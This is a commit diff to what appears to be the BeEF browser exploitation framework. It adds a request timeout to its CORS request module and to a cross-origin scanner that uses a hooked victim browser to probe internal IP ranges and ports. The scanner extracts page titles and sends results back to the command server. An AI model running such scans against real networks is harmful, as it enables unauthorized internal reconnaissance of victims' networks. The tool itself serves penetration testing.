Add timeout option to beef.net.cors.request
This commit is contained in:
@@ -16,7 +16,8 @@
|
||||
"options": {
|
||||
"ipRange":"<<mod_input>>",
|
||||
"ports":"80,8080",
|
||||
"threads":"5"
|
||||
"threads":"3",
|
||||
"timeout":"15"
|
||||
}
|
||||
}
|
||||
],
|
||||
|
||||
@@ -9,8 +9,9 @@ beef.execute(function() {
|
||||
var method = "<%= @method %>";
|
||||
var url = "<%= @url %>";
|
||||
var data = "<%= @data %>";
|
||||
var timeout = 15000;
|
||||
|
||||
beef.net.cors.request(method, url, data, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "response="+JSON.stringify(response)); });
|
||||
beef.net.cors.request(method, url, data, timeout, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "response="+JSON.stringify(response)); });
|
||||
|
||||
});
|
||||
|
||||
|
||||
@@ -10,6 +10,7 @@ beef.execute(function() {
|
||||
var ipRange = "<%= @ipRange %>";
|
||||
var ports = "<%= @ports %>";
|
||||
var threads = "<%= @threads %>";
|
||||
var timeout = <%= @timeout %>*1000;
|
||||
var wait = 2;
|
||||
|
||||
if(!beef.browser.hasCors()) {
|
||||
@@ -105,7 +106,7 @@ beef.execute(function() {
|
||||
for (var p=0; p < ports.length; p++) {
|
||||
var url = proto + '://' + ips[i] + ':' + ports[p];
|
||||
worker.queue('beef.net.cors.request(' +
|
||||
'"GET", "'+url+'", "", function(response) {' +
|
||||
'"GET", "'+url+'", "", '+timeout+', function(response) {' +
|
||||
'if (response != null && response["status"] != 0) {' +
|
||||
'beef.debug("[Cross-Origin Scanner] Received response from '+url+': " + JSON.stringify(response));' +
|
||||
'var title = response["body"].match("<title>(.*?)<\\/title>"); if (title != null) title = title[1];' +
|
||||
|
||||
@@ -34,7 +34,8 @@ class Cross_origin_scanner_cors < BeEF::Core::Command
|
||||
return [
|
||||
{'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254'},
|
||||
{'name' => 'ports', 'ui_label' => 'Ports', 'value' => '80,8080'},
|
||||
{'name' => 'threads', 'ui_label' => 'Workers', 'value' => '5'}
|
||||
{'name' => 'threads', 'ui_label' => 'Workers', 'value' => '3'},
|
||||
{'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '15'}
|
||||
]
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user